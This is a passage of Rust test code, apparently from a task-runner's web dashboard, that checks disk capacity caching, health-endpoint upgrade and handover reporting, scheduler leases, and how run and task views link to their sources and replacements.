25497            ui.monitor
25498                .disk
25499                .lock()
25500                .unwrap()
25501                .capacity
25502                .runs_bytes
25503                .is_none()
25504        );
25505        release.send(()).unwrap();
25506        wait_for_disk_scan(&ui.monitor.disk).await;
25507        assert_eq!(
25508            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25509            Some(200)
25510        );
25511    }
25512
25513    #[tokio::test]
25514    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25515        let home = TempDir::new().unwrap();
25516        let scope = disk_test_scope(home.path());
25517        let state = Arc::new(Mutex::new(DiskObservation {
25518            scope: Some(scope.clone()),
25519            capacity: known_disk_capacity(),
25520            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25521            ..Default::default()
25522        }));
25523        let (started, reached) = tokio::sync::oneshot::channel();
25524        let (release, blocked) = std::sync::mpsc::channel();
25525        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25526            started.send(()).unwrap();
25527            blocked.recv().unwrap();
25528            DiskCapacity {
25529                runs_bytes: Some(250),
25530                ..Default::default()
25531            }
25532        });
25533        assert_eq!(before.cache_bytes, Some(400));
25534        tokio::time::timeout(Duration::from_secs(5), reached)
25535            .await
25536            .unwrap()
25537            .unwrap();
25538        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25539        for _ in 0..4 {
25540            let scans = duplicate_scans.clone();
25541            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25542                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25543                DiskCapacity::default()
25544            });
25545            assert_eq!(during.runs_bytes, Some(200));
25546            assert_eq!(during.cache_bytes, Some(400));
25547        }
25548        release.send(()).unwrap();
25549        wait_for_disk_scan(&state).await;
25550        let scans = duplicate_scans.clone();
25551        let after = DiskObservation::observe(&state, scope, move |_| {
25552            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25553            DiskCapacity::default()
25554        });
25555        wait_for_disk_scan(&state).await;
25556        assert_eq!(after.runs_bytes, Some(250));
25557        assert_eq!(after.free_bytes, Some(100));
25558        assert_eq!(after.cache_bytes, Some(400));
25559        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25560        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25561    }
25562
25563    #[tokio::test]
25564    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25565        let home = TempDir::new().unwrap();
25566        let old_scope = disk_test_scope(home.path());
25567        let mut new_scope = old_scope.clone();
25568        new_scope.cache = Some(home.path().join("replacement-cache"));
25569        let state = Arc::new(Mutex::new(DiskObservation {
25570            scope: Some(old_scope.clone()),
25571            capacity: known_disk_capacity(),
25572            ..Default::default()
25573        }));
25574        let (started, reached) = tokio::sync::oneshot::channel();
25575        let (release, blocked) = std::sync::mpsc::channel();
25576        DiskObservation::observe(&state, old_scope, move |_| {
25577            started.send(()).unwrap();
25578            blocked.recv().unwrap();
25579            known_disk_capacity()
25580        });
25581        tokio::time::timeout(Duration::from_secs(5), reached)
25582            .await
25583            .unwrap()
25584            .unwrap();
25585        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25586        let scans = duplicate_scans.clone();
25587        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25588            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25589            DiskCapacity::default()
25590        });
25591        assert!(changed.cache_bytes.is_none());
25592        assert!(changed.runs_bytes.is_none());
25593        release.send(()).unwrap();
25594        wait_for_disk_scan(&state).await;
25595        {
25596            let observation = state.lock().unwrap();
25597            assert!(observation.capacity.cache_bytes.is_none());
25598            assert!(observation.finished.is_none());
25599        }
25600        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25601            assert_eq!(scope, &new_scope);
25602            DiskCapacity {
25603                cache_bytes: Some(999),
25604                ..Default::default()
25605            }
25606        });
25607        wait_for_disk_scan(&state).await;
25608        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25609        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25610    }
25611
25612    #[tokio::test]
25613    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25614        let home = TempDir::new().unwrap();
25615        let scope = disk_test_scope(home.path());
25616        let state = Arc::new(Mutex::new(DiskObservation {
25617            scope: Some(scope.clone()),
25618            capacity: known_disk_capacity(),
25619            ..Default::default()
25620        }));
25621        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25622        wait_for_disk_scan(&state).await;
25623        {
25624            let mut observation = state.lock().unwrap();
25625            assert_eq!(observation.capacity.cache_bytes, Some(400));
25626            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25627            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25628        }
25629        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25630            cache_bytes: Some(450),
25631            ..Default::default()
25632        });
25633        wait_for_disk_scan(&state).await;
25634        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25635    }
25636
25637    #[test]
25638    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25639        let home = TempDir::new().unwrap();
25640        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25641        assert_eq!(disk_capacity_size(home.path()), Some(0));
25642        std::fs::create_dir(home.path().join("nested")).unwrap();
25643        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25644        assert_eq!(disk_capacity_size(home.path()), Some(5));
25645        #[cfg(unix)]
25646        {
25647            // Unix distinguishes an invalid descendant lookup from absence.
25648            assert_eq!(
25649                disk_capacity_size(&home.path().join("nested/data/child")),
25650                None
25651            );
25652        }
25653        #[cfg(unix)]
25654        {
25655            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25656            assert_eq!(disk_capacity_size(home.path()), Some(5));
25657        }
25658    }
25659
25660    #[tokio::test]
25661    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25662        // `mode = "off"` for the same reason as the test above: a default
25663        // fixture repo falls back to `mode = "notify"`, which would make this
25664        // route's new `update` field a live, unauthenticated GitHub call on
25665        // every assertion in this suite that happens to hit `/api/health`.
25666        let repo = TempDir::new().expect("repo dir");
25667        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25668            .expect("write magi.toml");
25669        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25670
25671        let health = fx.get("/api/health").await.json();
25672        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25673        assert_eq!(
25674            health["update"]["available"], false,
25675            "checking is off, which reads as \"unknown\", not \"none\""
25676        );
25677        assert!(health["update"]["to"].is_null());
25678        assert!(
25679            health["upgrade"].is_null(),
25680            "nothing has ever asked this deck to upgrade"
25681        );
25682    }
25683
25684    #[tokio::test]
25685    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25686        let fx = Fixture::start().await;
25687        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25688
25689        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25690        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25691        progress.advance(crate::updater::Stage::Parking);
25692        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25693
25694        let health = fx.get("/api/health").await.json();
25695        assert_eq!(health["upgrade"]["stage"], "parking");
25696        assert_eq!(health["upgrade"]["from"], "0.5.1");
25697        assert_eq!(health["upgrade"]["to"], "0.5.2");
25698        let waiting_on = health["upgrade"]["waiting_on"]
25699            .as_str()
25700            .expect("waiting_on is set while parking a known run");
25701        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25702        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25703    }
25704
25705    #[tokio::test]
25706    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25707        let fx = Fixture::start().await;
25708        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25709        progress.advance(crate::updater::Stage::Done);
25710        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25711
25712        let health = fx.get("/api/health").await.json();
25713        assert_eq!(health["upgrade"]["stage"], "done");
25714        assert!(
25715            health["upgrade"]["waiting_on"].is_null(),
25716            "nothing to wait on once it is done"
25717        );
25718    }
25719
25720    /// The handover signal is seen however the race falls, and wakes its one
25721    /// waiter once per signal - nothing here can spin.
25722    #[tokio::test]
25723    async fn the_handover_signal_wakes_one_waiter_once() {
25724        let signal = Notify::new();
25725        // Signalled before anyone waits: the stored permit is not lost.
25726        signal.notify_one();
25727        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25728            .await
25729            .expect("an early signal is still seen");
25730        // One signal, one wake-up: a second wait does not resolve by itself.
25731        assert!(
25732            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25733                .await
25734                .is_err(),
25735            "a consumed signal must not wake a second time"
25736        );
25737        // Signalled while waiting.
25738        let signal = std::sync::Arc::new(signal);
25739        let waiter = tokio::spawn({
25740            let signal = std::sync::Arc::clone(&signal);
25741            async move { wait_for_handover(&signal).await }
25742        });
25743        tokio::time::sleep(Duration::from_millis(20)).await;
25744        assert!(!waiter.is_finished(), "nothing was signalled yet");
25745        signal.notify_one();
25746        tokio::time::timeout(Duration::from_secs(5), waiter)
25747            .await
25748            .expect("a late signal wakes the waiter")
25749            .expect("join");
25750    }
25751
25752    #[tokio::test]
25753    async fn health_says_how_long_a_handover_has_been_stuck() {
25754        let fx = Fixture::start().await;
25755        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25756        progress.advance(crate::updater::Stage::Replaced);
25757        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25758        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25759
25760        let health = fx.get("/api/health").await.json();
25761        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25762        assert!(stuck >= 600, "{stuck}");
25763        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25764        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25765    }
25766
25767    #[tokio::test]
25768    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25769        let home = tempfile::tempdir().expect("temp home");
25770        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25771        progress.advance(crate::updater::Stage::Parking);
25772        crate::updater::write_progress(home.path(), &progress).expect("seed");
25773        // What the second upgrade_and_restart and its handler do.
25774        let mut again = progress.clone();
25775        again.advance(crate::updater::Stage::Replaced);
25776        crate::updater::write_progress(home.path(), &again).expect("replaced");
25777        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25778        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25779        let after = crate::updater::read_progress(home.path()).expect("record");
25780        assert_eq!(after.stage, crate::updater::Stage::Parking);
25781    }
25782
25783    #[tokio::test]
25784    async fn health_does_not_call_a_live_parking_wait_stuck() {
25785        let fx = Fixture::start().await;
25786        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25787        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25788        progress.advance(crate::updater::Stage::Parking);
25789        let hours = Duration::from_secs(3 * 3600);
25790        progress.started_at = Timestamp::now() - hours;
25791        progress.updated_at = Timestamp::now() - hours;
25792        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25793        let _lease = crate::updater::LeaseGuard::enter(
25794            fx.home.path(),
25795            Some("20260905-000000-cd51".to_owned()),
25796        );
25797
25798        let health = fx.get("/api/health").await.json();
25799        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25800        assert!(health["upgrade"]["stuck_kind"].is_null());
25801        assert_eq!(health["upgrade"]["handover_alive"], true);
25802        let waiting_on = health["upgrade"]["waiting_on"]
25803            .as_str()
25804            .expect("waiting_on");
25805        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25806    }
25807
25808    fn idle_ui(home: &TempDir) -> Ui {
25809        let runs = home.path().join("runs");
25810        std::fs::create_dir_all(&runs).expect("runs dir");
25811        Ui::new(
25812            Queue::at(home.path().join("queue")),
25813            Questions::at(home.path().join("questions")),
25814            Talks::at(home.path().join("talks")),
25815            runs,
25816            home.path().to_path_buf(),
25817            PathBuf::from("/repo/magi"),
25818        )
25819        .with_launch(launch_idle)
25820    }
25821
25822    #[tokio::test]
25823    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25824        let home = TempDir::new().expect("temp home");
25825        let ui = idle_ui(&home);
25826        let lease = crate::worker::try_lease(home.path(), "scheduler")
25827            .expect("scheduler lease")
25828            .expect("free");
25829        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25830            .expect("request stop");
25831        let error = ui
25832            .start_detached_loop()
25833            .await
25834            .expect_err("transition is still live");
25835        assert_eq!(error.status, StatusCode::CONFLICT);
25836        assert!(error.message.contains("still running or stopping"));
25837        assert_eq!(
25838            crate::worker::control(home.path(), "scheduler").unwrap(),
25839            Some(crate::worker::Control::Stop)
25840        );
25841        drop(lease);
25842    }
25843
25844    #[tokio::test]
25845    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25846        let home = TempDir::new().expect("temp home");
25847        let ui = idle_ui(&home);
25848        let turns = ui
25849            .begin_talk_turn("active-chat")
25850            .expect("claim")
25851            .expect("free");
25852        let execution = crate::worker::try_lease(home.path(), "active-task")
25853            .expect("execution lease")
25854            .expect("free");
25855        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25856            .await
25857            .expect("bind loopback");
25858        let address = listener.local_addr().expect("address");
25859        let admissions = Arc::clone(&ui.admissions);
25860        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25861        let successor_started = std::sync::atomic::AtomicBool::new(false);
25862        tokio::time::timeout(
25863            Duration::from_secs(2),
25864            hand_over(home.path(), &admissions, served, || {
25865                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25866                Ok(1)
25867            }),
25868        )
25869        .await
25870        .expect("restart must not wait for execution")
25871        .expect("handover");
25872        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25873        // BSD may retain the address briefly after listener release. The real
25874        // successor uses the same bounded bind retry rather than a one-shot bind.
25875        let successor = bind_waiting(address)
25876            .await
25877            .expect("successor binds released address");
25878        assert_eq!(successor.local_addr().unwrap(), address);
25879        assert!(turns.owns(), "the chat lease survives restart");
25880        assert!(
25881            crate::worker::try_lease(home.path(), "active-task")
25882                .unwrap()
25883                .is_none()
25884        );
25885        drop(execution);
25886        drop(turns);
25887    }
25888
25889    #[tokio::test]
25890    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25891        let home = TempDir::new().expect("temp home");
25892        let ui = idle_ui(&home);
25893        let admission = ui.begin_admission().expect("admit send");
25894        let turn = ui
25895            .begin_talk_turn("active-chat")
25896            .expect("claim")
25897            .expect("free");
25898        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25899            .await
25900            .expect("bind loopback");
25901        let address = listener.local_addr().expect("address");
25902        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25903        let successor_called = std::sync::atomic::AtomicBool::new(false);
25904        let handover = hand_over(home.path(), &ui.admissions, served, || {
25905            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25906            Ok(1)
25907        });
25908        tokio::pin!(handover);
25909        // Poll exactly to the writer waiting on our admission guard. This
25910        // pins the race without sleeps or assumptions about task scheduling.
25911        std::future::poll_fn(|cx| {
25912            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25913            std::task::Poll::Ready(())
25914        })
25915        .await;
25916        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25917        assert!(
25918            ui.begin_admission().is_err(),
25919            "new ingress cannot race the drain"
25920        );
25921        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25922        drop(admission);
25923        tokio::time::timeout(Duration::from_secs(2), handover)
25924            .await
25925            .expect("only publication may delay restart")
25926            .expect("handover");
25927        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25928        assert!(
25929            turn.owns(),
25930            "the detached chat turn is not awaited or cancelled"
25931        );
25932        assert!(
25933            ui.begin_admission().is_err(),
25934            "old accepted connections stay closed"
25935        );
25936        drop(turn);
25937    }
25938
25939    #[test]
25940    fn health_worker_metadata_never_contains_payload_or_result() {
25941        let view = WorkerView::from(crate::worker::Job {
25942            id: "job".into(),
25943            sequence: 1,
25944            kind: "service".into(),
25945            key: "maintenance".into(),
25946            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25947            generation: "generation".into(),
25948            version: Some("1.2.3".into()),
25949            status: crate::worker::Status::Running,
25950            result: Some("private diagnostics".into()),
25951            pid: Some(4242),
25952            created_at: 1,
25953            finished_at: None,
25954        });
25955        let value = serde_json::to_value(view).expect("serialize public metadata");
25956        assert_eq!(value["version"], "1.2.3");
25957        assert_eq!(value["pid"], 4242);
25958        assert!(value.get("payload").is_none());
25959        assert!(value.get("result").is_none());
25960        assert!(!value.to_string().contains("private"));
25961    }
25962
25963    #[test]
25964    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25965        let home = TempDir::new().expect("temp home");
25966        let ui = idle_ui(&home);
25967        std::fs::write(
25968            home.path().join("daemon.json"),
25969            serde_json::json!({
25970                "schema": 2, "pid": 4242, "worker_protocol": 1,
25971                "updated_at": Timestamp::now().to_string(), "idle": true,
25972            })
25973            .to_string(),
25974        )
25975        .expect("status");
25976        let reading = daemon::read_status(home.path());
25977        assert!(Foreign::of(reading.as_ref()).is_none());
25978        let view = ui.runtime_loop_view(reading, &[]);
25979        assert!(view.running);
25980        assert!(view.owned);
25981    }
25982
25983    #[test]
25984    fn only_an_explicit_one_requests_a_resume() {
25985        assert!(!resume_requested(None));
25986        assert!(!resume_requested(Some("0".into())));
25987        assert!(!resume_requested(Some("".into())));
25988        assert!(resume_requested(Some("1".into())));
25989    }
25990
25991    #[test]
25992    fn an_error_is_visible_from_where_the_button_is() {
25993        // The alert used to sit in the flow under the header. On a phone
25994        // scrolled 13 500 px down to a run's action sheet that is off screen,
25995        // so tapping Resume and being told "the loop is running run b455
25996        // right now" looked exactly like a button that did nothing.
25997        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25998            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25999        assert!(
26000            alert.contains("position: fixed"),
26001            "an error about the thing under your thumb has to be visible from \
26002             where your thumb is: {alert}"
26003        );
26004        assert!(
26005            alert.contains("z-index: 25"),
26006            "above the dock (20) and the run-actions FAB (15), so neither \
26007             buries it: {alert}"
26008        );
26009        assert!(
26010            alert.contains("var(--tap)"),
26011            "and clear of the dock and the home indicator: {alert}"
26012        );
26013        // The FAB sits at the same height on the right. An error that covered
26014        // it would hide the button the operator reaches for next.
26015        assert!(
26016            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26017            "the FAB's column stays free: {alert}"
26018        );
26019    }
26020
26021    #[tokio::test]
26022    async fn an_older_attempt_says_what_replaced_it() {
26023        let fx = Fixture::start().await;
26024        let q = fx.queue();
26025        let runs = fx.runs();
26026        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26027        write_run(&runs, first, RunStatus::Stalled);
26028        write_run(&runs, second, RunStatus::Blocked);
26029
26030        let mut t = Task::new(
26031            "one task".to_owned(),
26032            "do it".to_owned(),
26033            PathBuf::from("/repo"),
26034            Source::Human,
26035        );
26036        t.runs = vec![first.to_owned(), second.to_owned()];
26037        q.put(&mut t).expect("put");
26038
26039        // Two cards with the same title and no hint which is which was the
26040        // question: "why are there two of the same, one stalled and one
26041        // blocked?" The older one now names its replacement.
26042        let rows = fx.get("/api/runs").await.json();
26043        let by = |short: &str| -> Value {
26044            rows.as_array()
26045                .unwrap()
26046                .iter()
26047                .find(|r| r["short"] == short)
26048                .cloned()
26049                .unwrap_or(Value::Null)
26050        };
26051        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26052        assert!(
26053            by("bbbb")["superseded_by"].is_null(),
26054            "the latest attempt is not superseded by anything"
26055        );
26056        // Front end: the note has to be rendered, not just carried.
26057        assert!(APP_JS.contains("run.superseded_by"));
26058        assert!(APP_JS.contains("Superseded by"));
26059    }
26060
26061    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26062        let mut t = Task::new(
26063            "one task".to_owned(),
26064            "do it".to_owned(),
26065            PathBuf::from("/repo"),
26066            Source::Human,
26067        );
26068        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26069        t.status = status;
26070        t
26071    }
26072
26073    #[test]
26074    fn source_link_picks_the_page_that_filed_the_task() {
26075        let agent = |node: &str| Source::Agent {
26076            run: "20260904-014455-ab12".to_owned(),
26077            node: node.to_owned(),
26078        };
26079        let chat = source_link(&agent("chat")).expect("chat link");
26080        assert_eq!(chat.kind, "chat");
26081        assert_eq!(chat.id, "20260904-014455-ab12");
26082        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26083        let run = source_link(&agent("implement")).expect("run link");
26084        assert_eq!(
26085            (run.kind, run.href.as_str()),
26086            ("run", "#/runs/20260904-014455-ab12")
26087        );
26088        assert_eq!(source_link(&Source::Human), None);
26089        assert_eq!(
26090            source_link(&Source::Issue {
26091                number: 3,
26092                repo: "o/r".to_owned()
26093            }),
26094            None
26095        );
26096        let odd = source_link(&Source::Agent {
26097            run: "a b/c".to_owned(),
26098            node: "chat".to_owned(),
26099        })
26100        .expect("link");
26101        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26102    }
26103
26104    #[test]
26105    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26106        assert!(
26107            !APP_JS.contains("src.node === \"chat\""),
26108            "inline href rule is back"
26109        );
26110        assert!(
26111            APP_JS.matches("sourceLinkOf(").count() >= 4,
26112            "helper must serve every page"
26113        );
26114        assert!(
26115            APP_JS.matches("openChatLink(").count() >= 3,
26116            "the run page still needs its explicit chat link"
26117        );
26118        assert!(
26119            !APP_JS.contains("const openChat = el("),
26120            "the Queue card duplicates its source label link again"
26121        );
26122        assert!(
26123            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26124            "the task page must link a chat source label too"
26125        );
26126    }
26127
26128    #[test]
26129    fn task_ref_carries_the_source_link_for_a_chat_task() {
26130        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26131        t.source = Source::Agent {
26132            run: "20260904-014455-ab12".to_owned(),
26133            node: "chat".to_owned(),
26134        };
26135        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26136        let v = serde_json::to_value(&out).expect("json");
26137        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26138        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26139        assert_eq!(v["source_label"], t.source.label());
26140
26141        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26142        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26143            .expect("json");
26144        assert!(v["source_link"].is_null(), "{v}");
26145    }
26146
26147    #[test]
26148    fn task_view_serializes_source_link() {
26149        let mut t = Task::new(
26150            "t".to_owned(),
26151            "t".to_owned(),
26152            PathBuf::from("/repo"),
26153            Source::Agent {
26154                run: "20260901-000000-aaaa".to_owned(),
26155                node: "implement".to_owned(),
26156            },
26157        );
26158        t.runs.clear();
26159        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26160        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26161        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26162    }
26163
26164    #[test]
26165    fn task_view_serializes_urgent_flag() {
26166        let mut t = Task::new(
26167            "t".to_owned(),
26168            "t".to_owned(),
26169            PathBuf::from("/repo"),
26170            Source::Human,
26171        );
26172        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26173        assert_eq!(v["urgent"], false, "{v}");
26174        t.urgent = true;
26175        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26176        assert_eq!(v["urgent"], true, "{v}");
26177        assert!(APP_JS.contains("task.urgent === true"));
26178    }
26179
26180    #[test]
26181    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26182        let mut t = Task::new(
26183            "t".to_owned(),
26184            "t".to_owned(),
26185            PathBuf::from("/repo"),
26186            Source::Human,
26187        );
26188        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26189        assert_eq!(v["immediate"], false, "{v}");
26190        t.immediate = true;
26191        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26192        assert_eq!(v["immediate"], true, "{v}");
26193        assert!(APP_JS.contains("task.immediate === true"));
26194        assert!(APP_JS.contains("/immediate"));
26195    }
26196
26197    #[tokio::test]
26198    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26199        let fx = Fixture::start().await;
26200        let runs = fx.runs();
26201        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26202        write_run(&runs, old, RunStatus::Blocked);
26203        write_run(&runs, new, RunStatus::Merged);
26204        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26205        fx.queue().put(&mut t).expect("put");
26206
26207        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26208        let task = &view["task"];
26209        assert_eq!(task["status"], "done");
26210        assert_eq!(task["is_latest"], false);
26211        assert_eq!(task["latest"]["short"], "bbbb");
26212        assert_eq!(task["finished_by"]["id"], new);
26213        assert_eq!(task["finished_by"]["outcome"], "merged");
26214        assert_eq!(task["closed_by_hand"], false);
26215        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26216        assert!(APP_JS.contains("finished_by"));
26217        assert!(APP_JS.contains("superseded by run"));
26218    }
26219
26220    #[tokio::test]
26221    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26222        let fx = Fixture::start().await;
26223        let runs = fx.runs();
26224        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26225        write_run(&runs, old, RunStatus::Stalled);
26226        write_run(&runs, new, RunStatus::Blocked);
26227        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26228        fx.queue().put(&mut t).expect("put");
26229
26230        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
26231        assert_eq!(task["status"], "held");
26232        assert_eq!(task["is_latest"], true);
26233        assert!(task["latest"].is_null());
26234        assert!(task["finished_by"].is_null());
26235        assert_eq!(task["closed_by_hand"], false);
26236    }
26237
26238    #[tokio::test]
26239    async fn a_direct_run_has_no_task_outcome() {
26240        let fx = Fixture::start().await;
26241        let runs = fx.runs();
26242        let id = "20260901-000000-aaaa";
26243        write_run(&runs, id, RunStatus::Blocked);
26244        let view = fx.get(&format!("/api/runs/{id}")).await.json();
26245        assert!(view["task"].is_null());
26246    }
26247
26248    #[test]
26249    fn task_outcome_does_not_guess_a_finishing_run() {
26250        let a = "20260901-000000-aaaa";
26251        let b = "20260901-000000-bbbb";
26252        let c = "20260901-000000-cccc";
26253        let dir = tempfile::tempdir().expect("tempdir");
26254        write_run(dir.path(), a, RunStatus::Blocked);
26255        write_run(dir.path(), b, RunStatus::VerifiedNoop);
26256        // `c` has no record: unreadable.
26257        let read = |id: &str| read_run(dir.path(), id).ok();
26258        // Neither a blocked run nor a no-op finished the task; the newest run is
26259        // unreadable and still named.
26260        let t = outcome_task(&[a, b, c], TaskStatus::Done);
26261        let out = task_outcome(&t, a, 3, read);
26262        assert!(out.finished_by.is_none());
26263        assert!(out.closed_by_hand);
26264        let latest = out.latest.expect("latest");
26265        assert_eq!(latest.id, c);
26266        assert_eq!(latest.status, None);
26267        assert_eq!(latest.outcome, "record unreadable");
26268
26269        // A Ready run settles the task as done, so it is named as the finisher.
26270        write_run(dir.path(), c, RunStatus::Ready);
26271        let t = outcome_task(&[a, c], TaskStatus::Done);
26272        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
26273        assert_eq!(out.finished_by.expect("finisher").id, c);
26274        assert!(!out.closed_by_hand);
26275
26276        // A resumed run id repeats: it is still the latest by id.
26277        let t = outcome_task(&[a, b, a], TaskStatus::Held);
26278        assert!(task_outcome(&t, a, 3, read).is_latest);
26279    }
26280
26281    #[tokio::test]
26282    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
26283        // The list route has known this since the card fix above; the detail
26284        // route — what an operator actually opens from a notification about
26285        // a blocked run — did not, and went on showing a bare red BLOCKED
26286        // chip for a run a retry had already finished.
26287        let fx = Fixture::start().await;
26288        let q = fx.queue();
26289        let runs = fx.runs();
26290        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
26291        write_run(&runs, first, RunStatus::Blocked);
26292        write_run(&runs, second, RunStatus::Merged);
26293
26294        let mut t = Task::new(
26295            "one task".to_owned(),
26296            "do it".to_owned(),
26297            PathBuf::from("/repo"),
26298            Source::Human,
26299        );
26300        t.runs = vec![first.to_owned(), second.to_owned()];
26301        q.put(&mut t).expect("put");
26302
26303        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
26304        assert_eq!(earlier["superseded_by"], "dddd");
26305        assert_eq!(earlier["latest_attempt"]["id"], second);
26306        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
26307        assert_eq!(
26308            earlier["latest_attempt"]["resolved"], true,
26309            "the run that replaced it landed, so this one reads as settled"
26310        );
26311
26312        let later = fx.get(&format!("/api/runs/{second}")).await.json();
26313        assert!(
26314            later["superseded_by"].is_null(),
26315            "the latest attempt is not superseded by anything"
26316        );
26317        assert!(
26318            later["latest_attempt"].is_null(),
26319            "the latest attempt has no later attempt of its own"
26320        );
26321
26322        // Front end: the detail page has to read the field this route now
